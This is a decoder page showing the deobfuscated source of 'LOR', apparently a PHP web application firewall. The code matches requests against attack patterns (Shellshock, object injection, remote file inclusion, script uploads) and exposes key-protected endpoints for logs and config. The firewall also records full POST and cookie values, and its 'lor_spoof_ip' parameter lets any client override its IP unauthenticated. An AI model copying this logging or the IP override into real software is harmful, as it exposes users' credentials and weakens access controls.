Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php define("L\x4f\x52_\x56\x45R\x53\x49O\x4e", "2\x30\x316\x31\x321\x34\x5f0\x31"); de..
Decoded Output download
<?php
define("LOR_VERSION", "20161214_01");
define("LOR_REDEFINE_CONFIG", true);
define("LOR_TRANSLATE_TO", "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
function LOR_CONFIG($i0l1i11111011001000l1i1111100101000)
{
global $i0l1i10000110000000;
if (is_array($i0l1i10000110000000)) {
if (isset($i0l1i10000110000000[$i0l1i11111011001000l1i1111100101000])) {
return $i0l1i10000110000000[$i0l1i11111011001000l1i1111100101000];
}
}
$i0l1i11111011001000l1i1111010011100 = get_defined_constants(true);
if (isset($i0l1i11111011001000l1i1111010011100["user"][$i0l1i11111011001000l1i1111100101000])) {
return $i0l1i11111011001000l1i1111010011100["user"][$i0l1i11111011001000l1i1111100101000];
} else {
return null;
}
}
function i0l1i10000110001010($i0l1i10000110010100, $config, $pass)
{
if (isset($config["LOR_REDEFINE_CONFIG"]))
unset($config["LOR_REDEFINE_CONFIG"]);
if (isset($config["LOR_TRANSLATE_TO"]))
unset($config["LOR_TRANSLATE_TO"]);
if (isset($config["LOR_ONLINE"]))
unset($config["LOR_ONLINE"]);
if (isset($config["LOR_SYS_FOLDER"]))
unset($config["LOR_SYS_FOLDER"]);
if (isset($config["LOR_CONFIG_FOLDER"]))
unset($config["LOR_CONFIG_FOLDER"]);
if (isset($config["LOR_RULES_FOLDER"]))
unset($config["LOR_RULES_FOLDER"]);
if (isset($config["LOR_LOG_FOLDER"]))
unset($config["LOR_LOG_FOLDER"]);
$i0l1i1111110000010son = json_encode($config);
@file_put_contents($i0l1i10000110010100, base64_encode(json_encode($config) ^ ($pass . str_repeat("X", strlen($i0l1i1111110000010son) - strlen($pass)))), LOCK_EX);
}
$lor_not_cli = (!(php_sapi_name() === "cli" OR defined("STDIN")));
if ($lor_not_cli) {
$i0l1i10000110000000 = array();
$i0l1i10000011110100 = md5(@str_replace("www.", '', @$_SERVER["HTTP_HOST"]));
$i0l1i10000011111110 = dirname(__FILE__) . "/" . "lor_settings.php." . $i0l1i10000011110100;
$i0l1i10000110000000 = '';
if (file_exists($i0l1i10000011111110)) {
$i0l1i10000110000000 = $i0l1i10000011111110;
require_once($i0l1i10000110000000);
} else {
$i0l1i10000110000000 = "lor_settings.php";
require_once($i0l1i10000110000000);
}
define("LOR_LOG_FOLDER", LOR_SYS_FOLDER . "/logs");
define("LOR_CONFIG_FOLDER", LOR_SYS_FOLDER . "/logs");
define("LOR_RULES_FOLDER", LOR_SYS_FOLDER . "/rules");
if (LOR_REDEFINE_CONFIG) {
$i0l1i10000110010100 = LOR_CONFIG_FOLDER . "/config_" . md5($i0l1i10000110000000);
$GLOBALS["i0l1i10000110010100"] = $i0l1i10000110010100;
$i0l1i10000110011110 = (@$_GET["i0l1i10000110011110"] == md5(LOR_CONFIG("LOR_KEY")));
if (file_exists($i0l1i10000110010100)) {
$lor_data = @base64_decode(@file_get_contents($i0l1i10000110010100));
$lor_pass = strrev(LOR_CONFIG("LOR_KEY"));
$i0l1i10000110000000 = json_decode($lor_data ^ ($lor_pass . str_repeat("X", strlen($lor_data) - strlen($lor_pass))), true);
$GLOBALS["i0l1i10000110000000"] = $i0l1i10000110000000;
if (LOR_VERSION != LOR_CONFIG("LOR_VERSION")) {
$i0l1i10000110000000 = array();
$i0l1i10000110011110 = true;
}
} else {
$i0l1i10000110011110 = true;
}
if ($i0l1i10000110011110) {
$i0l1i11111011001000l1i1111010011100 = get_defined_constants(true);
i0l1i10000110001010($i0l1i10000110010100, $i0l1i11111011001000l1i1111010011100["user"], strrev(LOR_CONFIG("LOR_KEY")));
}
}
if (LOR_ONLINE === null) {
die("LOR: lor_settings.php not found.");
}
if (LOR_CONFIG("LOR_DEFEND") && LOR_CONFIG("LOR_DEBUG") && (($_SERVER["REMOTE_ADDR"] == $_SERVER["SERVER_ADDR"]))) {
die("LOR: Bad server config, REMOTE IP == SERVER IP.");
}
if (!@is_writeable(LOR_LOG_FOLDER)) {
die("LOR: Can not write to log file.");
}
if (LOR_ONLINE) {
if (LOR_CONFIG("LOR_USE_EXTENDED_IP")) {
if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) {
$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else if (isset($_SERVER["HTTP_X_REAL_IP"])) {
$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_X_REAL_IP"];
}
}
$i0l1i10000100010010_list = explode(',', LOR_CONFIG("LOR_HOSTS"));
$i0l1i10000100001000 = false;
$lor_cur_host = @str_replace("www.", '', @$_SERVER["HTTP_HOST"]);
foreach ($i0l1i10000100010010_list as $i0l1i10000100010010) {
if (trim($i0l1i10000100010010) == $lor_cur_host) {
$i0l1i10000100001000 = true;
$i0l1i1111110100000 = new i0l1i1111110110100();
$i0l1i1111110100000->run();
}
}
if (LOR_CONFIG("LOR_DEBUG_MODE") && (!$i0l1i10000100001000)) {
die('[' . $_SERVER["HTTP_HOST"] . "] - not a valid host in LOR");
}
}
}
class i0l1i1111110110100
{
private $i0l1i11111011001000l1i1111010010010_content;
private $i0l1i11111011001000l1i1111010010010_var;
private $skip_posts;
private $i0l1i11111011001000l1i1111001110100;
private $i0l1i11111011001000l1i1111001111110;
private $i0l1i10000101110110;
private $HTTP_UA;
private $HTTP_REF;
private $i0l1i11111011001000l1i1111001101010;
function __construct()
{
@date_default_timezone_set("Europe/Moscow");
if (LOR_CONFIG("LOR_SESSION_ON")) {
@session_start();
if (!isset($_SESSION["lor_session"])) {
if (($_SERVER["REQUEST_METHOD"] == "GET") || (!LOR_CONFIG("LOR_POST_BY_SESSION"))) {
$_SESSION["lor_session"] = md5(time() . rand(0, 99999999));
}
}
}
if (isset($_SERVER["HTTP_USER_AGENT"])) {
$this->HTTP_UA = $_SERVER["HTTP_USER_AGENT"];
} else {
$this->HTTP_UA = '';
}
if (isset($_SERVER["HTTP_REFERER"])) {
$this->HTTP_REF = $_SERVER["HTTP_REFERER"];
} else {
$this->HTTP_REF = '';
}
$this->i0l1i1111001101010 = array();
$this->admin_urls = array();
$this->deny_content = array();
$this->deny_var = array();
$this->deny_urls = array();
$this->skip_posts = array();
$this->i0l1i1111001110100 = array();
$this->i0l1i10000101110110 = array();
$host = @str_replace("www.", "", @$_SERVER["HTTP_HOST"]);
$i0l1i11111011001000l1i1111010001000 = date("m_Y", time());
$this->i0l1i1111001111110 = LOR_LOG_FOLDER . "/.lor_" . substr(md5($host . LOR_CONFIG("LOR_KEY")), 0, 5) . "_" . substr(LOR_CONFIG("LOR_KEY"), 0, 7) . "_" . $i0l1i11111011001000l1i1111010001000 . '';
$this->deny_content = array_merge($this->i0l1i1111111100110("base/lor_deny_content.txt"), $this->i0l1i1111111100110("lor_deny_content.txt"));
$this->deny_var = array_merge($this->i0l1i1111111100110("base/lor_deny_varname.txt"), $this->i0l1i1111111100110("lor_deny_varname.txt"));
$this->admin_urls = array_merge($this->i0l1i1111111100110("base/lor_admin_urls.txt"), $this->i0l1i1111111100110("lor_admin_urls.txt"));
$this->i0l1i10000101110110 = array_merge($this->i0l1i1111111100110("base/lor_whitelist.txt"), $this->i0l1i1111111100110("lor_whitelist.txt"));
$this->deny_urls = array_merge($this->i0l1i1111111100110("base/lor_deny_urls.txt"), $this->i0l1i1111111100110("lor_deny_urls.txt"));
$this->skip_posts = $this->i0l1i1111111100110("lor_skip_posts.txt");
if (file_exists(LOR_CONFIG("LOR_PROTECT_IP"))) {
$i0l1i11111011001000l1i1111001110100 = explode("
", @trim(@file_get_contents(LOR_CONFIG("LOR_PROTECT_IP"))));
for ($i0l1i1111101100100 = 0; $i0l1i1111101100100 < count($i0l1i11111011001000l1i1111001110100); $i0l1i1111101100100++) {
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = trim($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
if (($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] != '') && (strpos($this->deny_urls[$i0l1i1111101100100], '#') !== 0)) {
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = str_replace(".", '\.', $i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
$i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100] = str_replace('*', '\d+', $i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
$this->i0l1i1111001110100[] = trim($i0l1i11111011001000l1i1111001110100[$i0l1i1111101100100]);
}
}
}
if (!file_exists(LOR_LOG_FOLDER)) {
if (!@mkdir(LOR_LOG_FOLDER)) {
$this->i0l1i1111001101010[] = "Cannot create folder:" . LOR_LOG_FOLDER;
}
}
if (isset($_REQUEST["lor_spoof_ip"])) {
$_SERVER["REMOTE_ADDR"] = $_REQUEST["lor_spoof_ip"];
putenv("HTTP_CLIENT_IP=" . $_REQUEST["lor_spoof_ip"]);
}
}
public function run()
{
$i0l1i11111011001000l1i1111010001000 = date("m_Y", time());
$i0l1i11111011001000l1i1111010010010 = false;
$i0l1i10000000100010 = false;
$i0l1i11111011001000l1i1111010011100 = '';
$i0l1i11111011001000l1i1111010100110 = false;
$i0l1i11111011001000l1i1111100010100 = "lor_ok";
$anti_flood_value = md5(strrev(substr(LOR_CONFIG("LOR_KEY"), 0, 5)));
if ((LOR_CONFIG("LOR_LOG_GET") && ($_SERVER["REQUEST_METHOD"] == "GET")) || (LOR_CONFIG("LOR_LOG_POST") && ($_SERVER["REQUEST_METHOD"] == "POST"))) {
$i0l1i11111011001000l1i1111010011100 .= "* " . @$_SERVER["REQUEST_METHOD"] . " " . $this->i0l1i1111110111110() . " " . date("d/m/Y H:i:s", time()) . " " . $this->i0l1i1111111001000();
$i0l1i11111011001000l1i1111010011100 .= " R: " . $this->HTTP_REF . " UA: " . $this->HTTP_UA . " " . @$_SESSION["lor_session"] . "
";
}
if (preg_match("~(Yandex|Googlebot|S" . chr(107 + 1) . "urp|MSNBot|Teoma|Scooter|ia_archiver|Rambler|Mail.Ru|Aport|WebAlta)~smi", $this->HTTP_UA)) {
$i0l1i11111011001000l1i1111010100110 = true;
if (LOR_CONFIG("LOR_CHECK_BOT_BY_IP") && (!$this->i0l1i10000100100110($_SERVER["REMOTE_ADDR"]))) {
$i0l1i11111011001000l1i1111010100110 = false;
}
}
if (LOR_CONFIG("LOR_HDR_ALWAYS_HTTPS")) {
header("Strict-Transport-Security: max-age=31536000; includeSubdomains
");
}
if (LOR_CONFIG("LOR_HDR_NO_FRAMES")) {
header("X-Frame-Options: SAMEORIGIN
");
}
if (LOR_CONFIG("LOR_HDR_NO_XSS_SNIFF")) {
header("X-XSS-Protection: 1; mode=block
");
header("X-Content-Type-Options: nosniff
");
}
if (LOR_CONFIG("LOR_DEFEND") && LOR_CONFIG("LOR_FILTER_URLS")) {
$i0l1i11111011001000l1i1111010111010 = $this->i0l1i1111111001000();
if (count($this->admin_urls) > 0) {
foreach ($this->admin_urls as $auth_url) {
if (preg_match('~' . $auth_url . '~smi', $i0l1i11111011001000l1i1111010111010, $match)) {
if (!$this->i0l1i1111111011100(false, true)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 HTTP_AUTH]]] in $auth_url by [" . $_SERVER["HTTP_AUTHORIZATION"] . "]
";
$i0l1i11111011001000l1i1111010010010 = true;
}
}
}
}
}
if (LOR_CONFIG("LOR_DEFEND")) {
$i0l1i11111011001000l1i1111011000100 = array_merge($this->deny_content, array(
':s:[0-9]+:',
"JDatabaseDriver",
'NT\s*5.1;\s*SV1',
'(\s*)\s*{\s*:;\s*};',
'%0A|%0D|%27|%3C|%3E|%00'
));
foreach ($i0l1i11111011001000l1i1111011000100 as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $this->HTTP_UA, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 UA]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $this->HTTP_REF, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 REFERER]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
if (LOR_CONFIG("LOR_DEFEND") && LOR_CONFIG("LOR_FILTER_URLS")) {
if (preg_match('~((https?|ftp|gopher)://[^&]+)~', $_SERVER["QUERY_STRING"], $match)) {
$i0l1i11111011001000l1i1111011001110 = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] && !in_array(strtolower($_SERVER["HTTPS"]), array(
"off",
"no"
))) ? "https" : "http";
$i0l1i11111011001000l1i1111011001110 .= '://' . $_SERVER["HTTP_HOST"];
$match[0] = str_replace("www.", '', $match[0]);
$i0l1i11111011001000l1i1111011001110 = str_replace("www.", '', $i0l1i11111011001000l1i1111011001110);
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] [" . $match[0] . "] vs [" . $i0l1i11111011001000l1i1111011001110 . "]
");
}
if (LOR_CONFIG("LOR_DEBUG_MODE")) {
$this->i0l1i10000000011000("[DEBUG] [" . $_SERVER["QUERY_STRING"] . "] check for wl - " . $this->i0l1i1111111010010($_SERVER["QUERY_STRING"]) . "
");
}
if ((strpos($match[0], $i0l1i11111011001000l1i1111011001110) !== 0) && (!$this->i0l1i1111111010010($_SERVER["QUERY_STRING"]))) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 RFI]]] by " . $match[0] . "
";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
}
}
$i0l1i11111011001000l1i1111010111010 = $this->i0l1i1111111001000();
foreach ($this->deny_urls as $waf_url) {
if (preg_match('~' . $waf_url . '~smi', $i0l1i11111011001000l1i1111010111010, $match)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Blocked URL]]] by $waf_url
";
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
switch ($_SERVER["REQUEST_METHOD"]) {
case "GET":
if (@$_GET["lor_pass"] == md5(LOR_CONFIG("LOR_KEY"))) {
$this->i0l1i10000001110010();
die();
}
if (@$_GET["lor_info"] == md5(LOR_CONFIG("LOR_KEY"))) {
header("Content-Type: text/html
");
echo 'LOR: ' . LOR_VERSION . '<br>';
echo 'PHP Mode: ' . @php_sapi_name() . '<br>';
echo 'PHP Version: ' . @phpversion() . '<br>';
echo 'Enabled functions: ' . $this->allowedPHPFunctions() . '<br>';
echo 'Loaded ini file: ' . @php_ini_loaded_file() . '<br>';
echo 'auto_prepend_file: ' . @ini_get("auto_prepend_file") . '<br>';
echo 'display_errors: ' . @ini_get("display_errors") . '<br>';
echo 'error_log: ' . @ini_get("error_log") . '<br>';
die();
}
if (@$_GET["lor_uai"] != '') {
$lor_uai = trim(str_replace(chr(0), " ", substr(urldecode(@$_GET["lor_uai"]), 0, 300)));
$lor_uai = preg_replace("~[--]+~sm", " ", $lor_uai);
$this->i0l1i10000000011000("* " . @$_SERVER["REQUEST_METHOD"] . " " . $this->i0l1i1111110111110() . " " . date("d/m/Y H:i:s", time()) . " " . "[UAI]-> [" . $lor_uai . "]
");
die();
}
break;
case "POST":
if (@$_POST["lor_getlogs"] == LOR_CONFIG("LOR_KEY")) {
$this->i0l1i10000100011100();
}
if (@$_POST["lor_getconfig"] == LOR_CONFIG("LOR_KEY")) {
header("Content-Type: application/json
");
echo json_encode($GLOBALS["i0l1i10000110000000"]);
die();
}
if (@$_POST["lor_setconfig"] == LOR_CONFIG("LOR_KEY")) {
i0l1i10000110001010($GLOBALS["i0l1i10000110010100"], json_decode($_POST["config"], true), strrev(LOR_CONFIG("LOR_KEY")));
echo "OK";
die();
}
if (@$_POST["lor_getlog"] == LOR_CONFIG("LOR_KEY")) {
if (file_exists($this->i0l1i1111001111110)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($this->i0l1i1111001111110) . '"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($this->i0l1i1111001111110));
readfile($this->i0l1i1111001111110);
die();
} else {
echo "Empty log";
}
}
if (@$_POST["lor_check"] == LOR_CONFIG("LOR_KEY")) {
header("Content: text/plain
");
echo "LOR is active [" . LOR_CONFIG("LOR_KEY") . "] v" . LOR_VERSION . "
ServerIP: " . $_SERVER["SERVER_ADDR"] . " ClientIP: " . $this->i0l1i1111110111110() . "
";
echo "QuickCheck [" . md5(LOR_CONFIG("LOR_KEY")) . "], custom: lor_settings.php." . md5(@str_replace("www.", '', @$_SERVER["HTTP_HOST"])) . "
";
echo $this->i0l1i1111111001000() . "
";
if (count($this->i0l1i1111001101010) > 0) {
echo "
[!!!] FATAL ERRORS:
" . implode("
", $this->i0l1i1111001101010) . "
";
}
echo "lor_settings: " . LOR_CONFIG("LOR_SETTINGS_FILE") . "
";
echo "lor_config: " . $GLOBALS["i0l1i10000110010100"] . "
";
echo "LOR_ONLINE " . (LOR_ONLINE ? "yes" : "no") . "
";
echo "LOR_REDEFINE_CONFIG " . (LOR_REDEFINE_CONFIG ? "yes" : "no") . "
";
echo "LOR_SESSION_ON " . (LOR_CONFIG("LOR_SESSION_ON") ? "yes" : "no") . "
";
echo "LOR_SYS_FOLDER " . LOR_CONFIG("LOR_SYS_FOLDER") . "
";
echo "LOR_DEFEND " . (LOR_config("LOR_DEFEND") ? "yes" : "no") . "
";
echo "LOR_FILTER_URLS " . (LOR_CONFIG("LOR_FILTER_URLS") ? "yes" : "no") . "
";
echo "LOR_LOG_GET " . (LOR_CONFIG("LOR_LOG_GET") ? "yes" : "no") . "
";
echo "LOR_LOG_POST " . (LOR_CONFIG("LOR_LOG_POST") ? "yes" : "no") . "
";
echo "LOR_LOG_FOLDER " . LOR_LOG_FOLDER . "
";
echo "LOR_HTPASSWD " . LOR_CONFIG("LOR_HTPASSWD") . "
";
echo "LOR_PROTECT_IP " . LOR_CONFIG("LOR_PROTECT_IP") . "
";
echo "LOR_RULES_FOLDER " . LOR_RULES_FOLDER . "
";
echo "SITE PATH " . dirname(__FILE__) . "
";
echo "LOR_HDR_ALWAYS_HTTPS " . (LOR_CONFIG("LOR_HDR_ALWAYS_HTTPS") ? "yes" : "no") . "
";
echo "LOR_HDR_NO_FRAMES " . (LOR_CONFIG("LOR_HDR_NO_FRAMES") ? "yes" : "no") . "
";
echo "LOR_HDR_NO_XSS_SNIFF " . (LOR_CONFIG("LOR_HDR_NO_XSS_SNIFF") ? "yes" : "no") . "
";
echo "LOR_ANTIFLOOD " . (LOR_CONFIG("LOR_ANTIFLOOD") ? "yes" : "no") . "
";
echo "LOR_DEBUG_MODE " . (LOR_CONFIG("LOR_DEBUG_MODE") ? "yes" : "no") . "
";
echo "log_file " . $this->i0l1i1111001111110 . " " . @filesize($this->i0l1i1111001111110) . "b limit" . LOR_CONFIG("LOR_LOGS_SIZE_LIMIT") . "
";
echo "deny content rules " . count($this->deny_content) . "
";
echo "deny variables rules " . count($this->deny_var) . "
";
echo "deny urls rules " . count($this->deny_urls) . "
";
echo "protect admin urls " . count($this->admin_urls) . "
";
echo "deny urls " . count($this->deny_urls) . "
";
echo "allowed ips " . count($this->i0l1i1111001110100) . "
";
echo "whitelist urls " . count($this->i0l1i10000101110110) . "
";
die();
}
if (@$_POST["lor_modified"] == LOR_CONFIG("LOR_KEY")) {
header("Content-Type: text/plain
");
$list = array();
$i0l1i10000010010000 = array(
"ph",
"pl",
"cgi",
"txt",
"py",
"zip",
"gz",
"htaccess",
"htm"
);
$this->i0l1i10000010011010(".", true, intval(@$_POST["days"]) * 86400, $list, 0, $i0l1i10000010010000);
foreach ($list as $i0l1i1111101100100tem) {
$i0l1i1111101100100tem[0] = date("d/m/Y H:i:s", $i0l1i1111101100100tem[0]);
$i0l1i1111101100100tem[1] = date("d/m/Y H:i:s", $i0l1i1111101100100tem[1]);
$i0l1i1111101100100tem[3] = $i0l1i1111101100100tem[3][0];
echo implode(" ", $i0l1i1111101100100tem) . "
";
}
die();
}
if (LOR_CONFIG("LOR_ANTIFLOOD") && LOR_CONFIG("LOR_POST_BY_SESSION")) {
if ((!isset($_SESSION["lor_session"])) && (@$_COOKIE[$i0l1i11111011001000l1i1111100010100] != $anti_flood_value)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 post by session]]]
";
$i0l1i11111011001000l1i1111010010010 = true;
}
}
if (LOR_CONFIG("LOR_LOG_POST")) {
$i0l1i11111011001000l1i1111011011000 = array(
@$_GET,
@$_POST,
@$_COOKIE,
@$_SESSION
);
$labels = array(
"gv",
"pv",
"cv",
"sv"
);
$cnt = -1;
$i0l1i11111011001000l1i1111011110110 = str_replace('?' . $_SERVER["QUERY_STRING"], '', trim($_SERVER["REQUEST_URI"], "/")) . "###";
foreach ($i0l1i11111011001000l1i1111011011000 as $i0l1i11111011001000l1i1111011100010) {
if (!(is_array($i0l1i11111011001000l1i1111011100010) && (count($i0l1i11111011001000l1i1111011100010) > 0)))
continue;
$cnt++;
foreach ($i0l1i11111011001000l1i1111011100010 as $var => $i0l1i11111011001000l1i1111011101100) {
if (is_array($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = json_encode($i0l1i11111011001000l1i1111011101100);
}
if ($labels[$cnt] == "pv") {
$i0l1i11111011001000l1i1111011110110 .= $var . "###";
}
$i0l1i11111011001000l1i1111011101100 = substr($i0l1i11111011001000l1i1111011101100, 0, LOR_CONFIG("LOR_MAX_POST_TO_SAVE"));
$i0l1i11111011001000l1i1111011101100_de64 = base64_decode($i0l1i11111011001000l1i1111011101100);
if (!$this->i0l1i10000011101010($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = 'bz64:' . base64_encode(gzcompress($i0l1i11111011001000l1i1111011101100, 7));
}
$i0l1i11111011001000l1i1111010011100 .= " " . $labels[$cnt] . ": " . $var . " = " . $i0l1i11111011001000l1i1111011101100 . "
";
if (LOR_CONFIG("LOR_DEFEND")) {
foreach ($this->deny_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
if (($i0l1i11111011001000l1i1111011101100_de64 != '') && ($i0l1i11111011001000l1i1111011101100_de64 != $i0l1i11111011001000l1i1111011101100)) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100_de64, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content2]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
}
}
foreach ($this->deny_var as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('|' . $i0l1i11111011001000l1i1111100000000 . '|i', $var, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Var]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i11111011001000l1i1111010010010 = true;
$i0l1i10000000100010 = true;
break;
}
}
}
}
}
if (isset($_FILES) && count($_FILES) > 0) {
foreach ($_FILES as $i0l1i11111011001000l1i1111100001010) {
$num_files = 1;
if (is_array($i0l1i11111011001000l1i1111100001010["tmp_name"])) {
$num_files = count($i0l1i11111011001000l1i1111100001010["tmp_name"]);
} else {
$i0l1i1111110001100_file["tmp_name"] = array(
$i0l1i11111011001000l1i1111100001010["tmp_name"]
);
$i0l1i1111110001100_file["name"] = array(
$i0l1i11111011001000l1i1111100001010["name"]
);
$i0l1i1111110001100_file["size"] = array(
$i0l1i11111011001000l1i1111100001010["size"]
);
$i0l1i11111011001000l1i1111100001010 = $i0l1i1111110001100_file;
}
for ($i0l1i1111110000010 = 0; $i0l1i1111110000010 < $num_files; $i0l1i1111110000010++) {
if (file_exists($i0l1i11111011001000l1i1111100001010["tmp_name"][$i0l1i1111110000010])) {
$i0l1i11111011001000l1i1111011101100 = substr(implode('', file($i0l1i11111011001000l1i1111100001010["tmp_name"][$i0l1i1111110000010])), 0, LOR_CONFIG("LOR_MAX_FILES_TO_SAVE"));
} else {
$i0l1i11111011001000l1i1111011101100 = '';
}
$content = $i0l1i11111011001000l1i1111011101100;
if (!$this->i0l1i10000011101010($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = 'bz64:' . base64_encode(gzcompress($i0l1i11111011001000l1i1111011101100, 7));
}
if (!isset($i0l1i11111011001000l1i1111100001010["size"][$i0l1i1111110000010])) {
$i0l1i11111011001000l1i1111100001010["size"][$i0l1i1111110000010] = '???';
}
$i0l1i11111011001000l1i1111010011100 .= " [[F $i0l1i1111110000010]]: " . $i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010] . " (" . $i0l1i11111011001000l1i1111100001010["size"][$i0l1i1111110000010] . ") = " . $i0l1i11111011001000l1i1111011101100 . "
";
if (LOR_CONFIG("LOR_DEFEND")) {
if (strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".php") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".pht") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".pl") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".sh") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".phtml") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".shtml") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".cgi") !== false || strpos($i0l1i11111011001000l1i1111100001010["name"][$i0l1i1111110000010], ".py") !== false) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 File]]] by ext
";
$i0l1i11111011001000l1i1111010010010 = true;
}
$i0l1i11111011001000l1i1111010010010_file_content = array(
'<\?php',
'<\?=',
'^<\?',
'#\!/usr/',
'#\!/bin/',
'#\!/sbin/'
);
foreach ($i0l1i11111011001000l1i1111010010010_file_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~smi', $content, $match)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 File Content]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
}
}
}
$i0l1i11111011001000l1i1111011110110 = md5($i0l1i11111011001000l1i1111011110110);
if (in_array($i0l1i11111011001000l1i1111011110110, $this->skip_posts)) {
$i0l1i11111011001000l1i1111010011100 = '';
}
}
break;
}
if (isset($_GET[md5(LOR_CONFIG("LOR_KEY"))])) {
$s = (int) $_GET["short"];
echo ($s ? "1" : '<font color=green>WEB PROTECTION (WAF) - OK</font><p>');
$l_FileList = explode(',', 'wp-config.php,wp-settings.php,configuration.php,.htaccess,administrator/index.php,administrator/,wp-includes,wp-admin,templates,manager,includes/router.php,components/com_contact/views,manager/templates,modules/user,bitrix/admin/index.php,admin/index.php,cgi-bin');
$l_Protected = true;
$l_UnprotectedList = array();
foreach ($l_FileList as $l_F) {
if (file_exists($l_F) && ((fileperms($l_F) & 000222) > 0)) {
$l_Protected = false;
$l_UnprotectedList[] = $l_F;
}
}
if ($l_Protected) {
echo ($s ? "1" : '<font color=green>FILES - OK</font>');
} else {
echo ($s ? "0" : '<font color=red>FILES - INSECURE: ' . implode(', ', $l_UnprotectedList) . '</font>');
}
die();
}
if (LOR_CONFIG("LOR_DEFEND")) {
$i0l1i11111011001000l1i1111011011000 = array(
$_GET
);
$labels = array(
"gv"
);
$cnt = -1;
foreach ($i0l1i11111011001000l1i1111011011000 as $i0l1i11111011001000l1i1111011100010) {
$cnt++;
foreach ($i0l1i11111011001000l1i1111011100010 as $var => $i0l1i11111011001000l1i1111011101100) {
if (is_array($i0l1i11111011001000l1i1111011101100)) {
$i0l1i11111011001000l1i1111011101100 = json_encode($i0l1i11111011001000l1i1111011101100);
}
if (LOR_CONFIG("LOR_DEFEND")) {
foreach ($this->deny_content as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('~' . $i0l1i11111011001000l1i1111100000000 . '~i', $i0l1i11111011001000l1i1111011101100, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Content]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
foreach ($this->deny_var as $i0l1i11111011001000l1i1111100000000) {
if (preg_match('|' . $i0l1i11111011001000l1i1111100000000 . '|i', $var, $fnd)) {
$i0l1i11111011001000l1i1111010011100 .= "[x]-> [:[[403 Var]]] by $i0l1i11111011001000l1i1111100000000
";
$i0l1i10000000100010 = true;
$i0l1i11111011001000l1i1111010010010 = true;
break;
}
}
}
}
}
}
if ($_SERVER["REMOTE_ADDR"] == $_SERVER["SERVER_ADDR"] || $_SERVER["REMOTE_ADDR"] == "127.0.0.1") {
$i0l1i11111011001000l1i1111010100110 = true;
}
